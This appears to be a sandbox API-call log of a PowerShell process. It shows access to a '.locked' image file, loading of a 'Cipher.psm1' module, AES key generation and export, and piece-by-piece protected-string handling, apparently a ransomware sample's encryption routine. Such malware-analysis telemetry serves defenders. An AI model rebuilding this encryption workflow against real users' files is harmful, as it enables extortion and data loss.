0x0 [0137.544] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.544] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.544] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.545] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.545] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0137.545] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.545] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.545] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.546] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.546] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0137.546] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.546] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.546] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.547] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.547] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x80") returned 0x0 [0137.547] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.547] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.547] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.548] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0137.548] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.548] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.548] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.551] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade98) returned 1 [0137.551] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\W-iMLOAa5PVVLaHlMUa.png.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\w-imloaa5pvvlahlmua.png.locked"), fInfoLevelId=0x0, lpFileInformation=0x69f3588 | out: lpFileInformation=0x69f3588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15330520, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0x15330520, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0x15330520, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0xad34)) returned 1 [0137.551] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade94) returned 1 [0137.551] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\W-iMLOAa5PVVLaHlMUa.png.locked", nBufferLength=0x105, lpBuffer=0x99ad974, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\W-iMLOAa5PVVLaHlMUa.png.locked", lpFilePart=0x0) returned 0x3d [0137.551] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\W-iMLOAa5PVVLaHlMUa.png.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\w-imloaa5pvvlahlmua.png.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x764 [0137.551] GetFileInformationByHandle (in: hFile=0x764, lpFileInformation=0x99adee0 | out: lpFileInformation=0x99adee0) returned 1 [0137.552] GetConsoleOutputCP () returned 0x1b5 [0137.552] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0137.552] GetConsoleOutputCP () returned 0x1b5 [0137.553] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0137.553] GetConsoleOutputCP () returned 0x1b5 [0137.553] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0137.553] GetConsoleOutputCP () returned 0x1b5 [0137.553] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0137.553] GetConsoleOutputCP () returned 0x1b5 [0137.553] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0137.554] GetConsoleOutputCP () returned 0x1b5 [0137.554] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0137.554] GetConsoleOutputCP () returned 0x1b5 [0137.554] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0137.554] GetConsoleOutputCP () returned 0x1b5 [0137.554] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0137.554] GetConsoleOutputCP () returned 0x1b5 [0137.555] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0137.555] GetConsoleOutputCP () returned 0x1b5 [0137.555] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0137.555] GetConsoleOutputCP () returned 0x1b5 [0137.555] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0137.555] GetConsoleOutputCP () returned 0x1b5 [0137.556] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0137.556] GetConsoleOutputCP () returned 0x1b5 [0137.556] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0137.556] GetConsoleOutputCP () returned 0x1b5 [0137.557] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0137.557] GetConsoleOutputCP () returned 0x1b5 [0137.557] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0137.557] GetConsoleOutputCP () returned 0x1b5 [0137.557] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0137.557] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4d8 | out: lpConsoleScreenBufferInfo=0x99ae4d8) returned 1 [0137.558] GetConsoleOutputCP () returned 0x1b5 [0137.558] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae474, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae474) returned 0 [0137.558] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0137.559] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6a1a268*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x6a1a268*, lpNumberOfCharsWritten=0x99ae4d8*=0x77) returned 1 [0137.559] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0137.559] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4d8*=0x2) returned 1 [0137.564] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeb14, nSize=0x100 | out: lpBuffer="") returned 0x0 [0137.564] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0137.565] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae768, nSize=0x100 | out: lpBuffer="\x1161\x73b6\x30f7\x6b24\x14\x01\xd440\x73ae\x96e8\x667") returned 0x0 [0137.565] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae444, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0137.566] CryptAcquireContextW (in: phProv=0x99ae440, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae440*=0x8e028b0) returned 1 [0137.567] CryptGenKey (in: hProv=0x8e028b0, Algid=0x6610, dwFlags=0x1, phKey=0x99ae854 | out: phKey=0x99ae854*=0x8e84978) returned 1 [0137.567] CryptContextAddRef (hProv=0x8e028b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0137.567] CryptExportKey (in: hKey=0x8e84978, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae894 | out: pbData=0x0*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0137.567] CryptExportKey (in: hKey=0x8e84978, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x6a23c08, pdwDataLen=0x99ae894 | out: pbData=0x6a23c08*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0137.567] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae414, nSize=0x100 | out: lpBuffer="") returned 0x0 [0137.567] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae7ec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae7ec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.567] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae74c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae74c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.567] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.568] SysStringLen (param_1="") returned 0x8 [0137.568] SysStringLen (param_1="L") returned 0x8 [0137.568] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.568] SysStringLen (param_1="\x18⽌㡺ﲛ뗪垸ၝᜐ") returned 0x8 [0137.568] SysStringLen (param_1="\x18⽌㡺ﲛ뗪垸ၝᜐ") returned 0x8 [0137.568] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.568] SysStringLen (param_1="L2") returned 0x8 [0137.568] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.568] SysStringLen (param_1="\xa546\xa022\xf012\xd65c\xd34\x5dd6\xed63\x3363") returned 0x8 [0137.568] SysStringLen (param_1="\xa546\xa022\xf012\xd65c\xd34\x5dd6\xed63\x3363") returned 0x8 [0137.568] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.568] SysStringLen (param_1="L25") returned 0x8 [0137.568] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.568] SysStringLen (param_1="\xc380\xa51c\x85d5\x1100\xeefc\x1846\x95dd\xefaf") returned 0x8 [0137.568] SysStringLen (param_1="\xc380\xa51c\x85d5\x1100\xeefc\x1846\x95dd\xefaf") returned 0x8 [0137.568] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.569] SysStringLen (param_1="L25m") returned 0x8 [0137.569] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.569] SysStringLen (param_1="\x4277\xefdb\xf1f9\x7ec1\xd65d\x18e\x8e0d\x9153") returned 0x8 [0137.569] SysStringLen (param_1="\x4277\xefdb\xf1f9\x7ec1\xd65d\x18e\x8e0d\x9153") returned 0x8 [0137.569] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.569] SysStringLen (param_1="L25my") returned 0x8 [0137.569] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.569] SysStringLen (param_1="\x35c0\x65f3\xd66e\x2e5e\xda13\x38f4\x88e3\xa96") returned 0x8 [0137.569] SysStringLen (param_1="\x35c0\x65f3\xd66e\x2e5e\xda13\x38f4\x88e3\xa96") returned 0x8 [0137.569] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.569] SysStringLen (param_1="L25myK") returned 0x8 [0137.569] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.569] SysStringLen (param_1="\xa12e\x2637\x2b8a\x2e4\x5ac1\x1142\x3e87\xe5ba") returned 0x8 [0137.569] SysStringLen (param_1="\xa12e\x2637\x2b8a\x2e4\x5ac1\x1142\x3e87\xe5ba") returned 0x8 [0137.569] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.569] SysStringLen (param_1="L25myKl") returned 0x8 [0137.569] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.570] SysStringLen (param_1="\x6113\x1bc5\xfd36\x3ad4\xefc0\x9001\x540b\x8f55") returned 0x8 [0137.570] SysStringLen (param_1="\x6113\x1bc5\xfd36\x3ad4\xefc0\x9001\x540b\x8f55") returned 0x8 [0137.570] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.570] SysStringLen (param_1="L25myKl6") returned 0x8 [0137.570] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.570] SysStringLen (param_1="\x14f5\xd30\x4a84\xc534\xc668\xa13a\x518c\x6100") returned 0x8 [0137.570] SysStringLen (param_1="\x14f5\xd30\x4a84\xc534\xc668\xa13a\x518c\x6100") returned 0x8 [0137.570] SysStringLen (param_1="\x14f5\xd30\x4a84\xc534\xc668\xa13a\x518c\x6100") returned 0x8 [0137.570] SysStringLen (param_1="\x14f5\xd30\x4a84\xc534\xc668\xa13a\x518c\x6100") returned 0x10 [0137.570] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.570] SysStringLen (param_1="L25myKl6Zച㧌쐲ʨ떯ᑷ凓") returned 0x10 [0137.570] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.570] SysStringLen (param_1="\x14f5\xd30\x4a84\xc534\xc668\xa13a\x518c\x6100\xe97b\x6e8f\xa70e\x6085\x1e81\xe6b5\x9326\x1aa7") returned 0x10 [0137.570] SysStringLen (param_1="\x14f5\xd30\x4a84\xc534\xc668\xa13a\x518c\x6100\xe97b\x6e8f\xa70e\x6085\x1e81\xe6b5\x9326\x1aa7") returned 0x10 [0137.570] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.570] SysStringLen (param_1="L25myKl6ZH㧌쐲ʨ떯ᑷ凓") returned 0x10 [0137.570] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.571] SysStringLen (param_1="\x14f5\xd30\x4a84\xc534\xc668\xa13a\x518c\x6100\x75e1\x8c82\x5fdc\xb0ad\x8648\x680e\xea7f\xa491") returned 0x10 [0137.571] SysStringLen (param_1="\x14f5\xd30\x4a84\xc534\xc668\xa13a\x518c\x6100\x75e1\x8c82\x5fdc\xb0ad\x8648\x680e\xea7f\xa491") returned 0x10 [0137.571] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.571] SysStringLen (param_1="L25myKl6ZHv쐲ʨ떯ᑷ凓") returned 0x10 [0137.571] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.571] SysStringLen (param_1="\x14f5\xd30\x4a84\xc534\xc668\xa13a\x518c\x6100\xeaf\xb36e\x637a\xb9a4\xe6fc\xa1c0\xc9b7\xd714") returned 0x10 [0137.571] SysStringLen (param_1="\x14f5\xd30\x4a84\xc534\xc668\xa13a\x518c\x6100\xeaf\xb36e\x637a\xb9a4\xe6fc\xa1c0\xc9b7\xd714") returned 0x10 [0137.571] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.571] SysStringLen (param_1="L25myKl6ZHvUʨ떯ᑷ凓") returned 0x10 [0137.571] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.571] SysStringLen (param_1="\x14f5\xd30\x4a84\xc534\xc668\xa13a\x518c\x6100\x98a7\xe17b\xb8c0\x5aee\x73e8\xf548\x552f\x7bad") returned 0x10 [0137.571] SysStringLen (param_1="\x14f5\xd30\x4a84\xc534\xc668\xa13a\x518c\x6100\x98a7\xe17b\xb8c0\x5aee\x73e8\xf548\x552f\x7bad") returned 0x10 [0137.571] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.571] SysStringLen (param_1="L25myKl6ZHvUP떯ᑷ凓") returned 0x10 [0137.571] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.571] SysStringLen (param_1="\x14f5\xd30\x4a84\xc534\xc668\xa13a\x518c\x6100\x2f2f\x21f3\x40cf\xe6a7\xe624\x1bb0\x67b6\xf6eb") returned 0x10 [0137.571] SysStringLen (param_1="\x14f5\xd30\x4a84\xc534\xc668\xa13a\x518c\x6100\x2f2f\x21f3\x40cf\xe6a7\xe624\x1bb0\x67b6\xf6eb") returned 0x10 [0137.571] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 